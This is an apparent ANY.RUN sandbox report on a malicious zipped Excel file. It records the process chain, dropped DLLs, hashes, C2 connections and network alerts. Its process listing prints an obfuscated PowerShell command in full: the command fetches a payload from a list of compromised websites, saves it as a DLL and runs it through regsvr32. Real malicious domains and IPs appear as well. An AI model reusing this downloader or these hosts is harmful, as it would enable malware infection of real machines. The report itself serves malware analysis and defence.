analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

9e437df223986bc07f60c2f3e421c525479cad16a940372b6ef3de70e96fa9b2.zip

Full analysis: https://app.any.run/tasks/6bec12ea-c5e0-4432-9fb2-dfba386b9432
Verdict: Malicious activity
Analysis date: February 26, 2022, 19:52:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract
MD5:

0044102B737D2163D6DAF0668FB42C96

SHA1:

05AC261D625E628E4B6550FB1E11802B21284588

SHA256:

C98C2D337A631802BEE4949D192CB0A20E15BA0D4C48B6974B8A93F990B218B2

SSDEEP:

768:jXaHAGnakyz8keB1LzvMRpLPd191cmM5tSPkZMsNBlCtd/PjCJWXbrJJWrVdgHxO:ranxy9e/LzEb3g5t09s3lW/7CJubtorL

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 4024)

    • Executes scripts

      • EXCEL.EXE (PID: 4024)

    • Drops executable file immediately after starts

      • regsvr32.exe (PID: 1612)

    • Registers / Runs the DLL via REGSVR32.EXE

      • regsvr32.exe (PID: 1612)
      • cmd.exe (PID: 3600)

    • Loads dropped or rewritten executable

      • regsvr32.exe (PID: 2220)
      • regsvr32.exe (PID: 1612)

    • Changes the autorun value in the registry

      • regsvr32.exe (PID: 2220)

    • Connects to CnC server

      • regsvr32.exe (PID: 2220)

  • SUSPICIOUS

    • Checks supported languages

      • WinRAR.exe (PID: 2912)
      • wscript.exe (PID: 3632)
      • powershell.exe (PID: 3476)
      • cmd.exe (PID: 3600)

    • Starts Microsoft Office Application

      • WinRAR.exe (PID: 2912)

    • Reads default file associations for system extensions

      • WinRAR.exe (PID: 2912)

    • Reads the computer name

      • WinRAR.exe (PID: 2912)
      • wscript.exe (PID: 3632)
      • powershell.exe (PID: 3476)

    • Creates files in the program directory

      • EXCEL.EXE (PID: 4024)
      • powershell.exe (PID: 3476)

    • Executes PowerShell scripts

      • wscript.exe (PID: 3632)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3476)
      • regsvr32.exe (PID: 1612)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3632)

    • Drops a file with a compile date too recent

      • powershell.exe (PID: 3476)
      • regsvr32.exe (PID: 1612)

    • Reads Environment values

      • powershell.exe (PID: 3476)

    • Starts itself from another location

      • regsvr32.exe (PID: 1612)

  • INFO

    • Checks supported languages

      • EXCEL.EXE (PID: 4024)
      • regsvr32.exe (PID: 1612)
      • regsvr32.exe (PID: 2220)

    • Reads Microsoft Office registry keys

      • WinRAR.exe (PID: 2912)
      • EXCEL.EXE (PID: 4024)

    • Reads the computer name

      • EXCEL.EXE (PID: 4024)
      • regsvr32.exe (PID: 1612)
      • regsvr32.exe (PID: 2220)

    • Checks Windows Trust Settings

      • wscript.exe (PID: 3632)
      • powershell.exe (PID: 3476)
      • regsvr32.exe (PID: 2220)

    • Reads mouse settings

      • EXCEL.EXE (PID: 4024)

    • Creates files in the user directory

      • EXCEL.EXE (PID: 4024)

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 3476)
      • regsvr32.exe (PID: 1612)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3476)
      • regsvr32.exe (PID: 2220)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: 9e437df223986bc07f60c2f3e421c525479cad16a940372b6ef3de70e96fa9b2.xls
ZipUncompressedSize: 90624
ZipCompressedSize: 46450
ZipCRC: 0xbaef9cad
ZipModifyDate: 2022:02:26 19:30:21
ZipCompression: Unknown (99)
ZipBitFlag: 0x0003
ZipRequiredVersion: 51
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
7
Malicious processes
4
Suspicious processes
2

Behavior graph

Click at the process to see the details
start winrar.exe no specs excel.exe no specs wscript.exe no specs powershell.exe cmd.exe no specs regsvr32.exe regsvr32.exe

Process information

PID
CMD
Path
Indicators
Parent process
2912"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\9e437df223986bc07f60c2f3e421c525479cad16a940372b6ef3de70e96fa9b2.zip"C:\Program Files\WinRAR\WinRAR.exe—Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
4024"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\user32.dll
3632wscript c:\programdata\bbiwjdf.vbsC:\Windows\system32\wscript.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft � Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3476"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3600"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dllC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1612c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dllc:\windows\syswow64\regsvr32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2220C:\Windows\system32\regsvr32.exe /s "C:\Users\admin\AppData\Local\Rvgsnlam\zlwphgxmuxhejp.yxr"C:\Windows\system32\regsvr32.exe
regsvr32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
12 023
Read events
11 822
Write events
190
Delete events
11

Modification events

(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2912) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\9e437df223986bc07f60c2f3e421c525479cad16a940372b6ef3de70e96fa9b2.zip
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2912) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
2
Suspicious files
8
Text files
1
Unknown types
3

Dropped files

PID
Process
Filename
Type
4024EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRFFB8.tmp.cvr —
MD5:—
SHA256:—
2912WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb2912.30010\9e437df223986bc07f60c2f3e421c525479cad16a940372b6ef3de70e96fa9b2.xlsdocument
MD5:824F883A79F90CC31272BED6F56F2C7D
SHA256:9E437DF223986BC07F60C2F3E421C525479CAD16A940372B6EF3DE70E96FA9B2
4024EXCEL.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:D9B871FFE78D828D215B4DAF420A3521
SHA256:39C72A2E901CA98BCB79B4911CA4D87558F5CB44187375D762C01A7D80B5B55B
1612regsvr32.exeC:\Users\admin\AppData\Local\Rvgsnlam\zlwphgxmuxhejp.yxrexecutable
MD5:CFB7A54B272C3AACF88C4309B10F5A30
SHA256:F8122EE9FD7189DA8A773B2D485541A8EC6DC9F23C9ED55B2110785EF6111972
3476powershell.exeC:\programdata\oiphilfj.dllexecutable
MD5:CFB7A54B272C3AACF88C4309B10F5A30
SHA256:F8122EE9FD7189DA8A773B2D485541A8EC6DC9F23C9ED55B2110785EF6111972
3476powershell.exeC:\Users\admin\AppData\Local\Temp\rxjq4haz.ouf.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2220regsvr32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:637481DF32351129E60560D5A5C100B5
SHA256:1F1029D94CA4656A577D554CEDD79D447658F475AF08620084897A5523587052
2220regsvr32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:133B2821E1DDEDC83548805F7A0F7C4D
SHA256:373C429970B59A5328A52236FD04B546AD3A2D4F7F8D3905C059A58F627AB668
2220regsvr32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:9E19E253641C831F9AA9D110B0E26DB5
SHA256:4F9095EA2BF37CF10CED775C21A013143B5234FC622D291750DA9A64B05BC369
3476powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
9
DNS requests
2
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3476
powershell.exe
GET
301
188.114.97.7:80
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
US
—
—
malicious
2220
regsvr32.exe
GET
200
8.248.139.254:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?c3ff7b36d2a42097
US
compressed
59.5 Kb
whitelisted
2220
regsvr32.exe
GET
200
8.248.139.254:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?048d6c98a5b9d132
US
compressed
4.70 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2220
regsvr32.exe
135.148.121.246:8080
—
Avaya Inc.
US
malicious
—
—
135.148.121.246:8080
—
Avaya Inc.
US
malicious
3476
powershell.exe
188.114.97.7:443
wearsweetbomb.com
Cloudflare Inc
US
malicious
3476
powershell.exe
188.114.97.7:80
wearsweetbomb.com
Cloudflare Inc
US
malicious
—
—
213.190.4.223:7080
—
—
—
malicious
2220
regsvr32.exe
175.107.196.192:80
—
Cyber Internet Services (Pvt) Ltd.
PK
malicious
2220
regsvr32.exe
213.190.4.223:7080
—
—
—
malicious
2220
regsvr32.exe
8.248.139.254:80
ctldl.windowsupdate.com
Level 3 Communications, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
wearsweetbomb.com
  • 188.114.97.7
  • 188.114.96.7
malicious
ctldl.windowsupdate.com
  • 8.248.139.254
  • 8.241.9.254
  • 8.241.121.126
  • 8.241.122.126
  • 8.248.117.254
whitelisted

Threats

PID
Process
Class
Message
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
—
—
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 5
—
—
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 14
—
—
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 8
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
9e437df223986bc07f60c2f3e421c525479cad16a940372b6ef3de70e96fa9b2.zip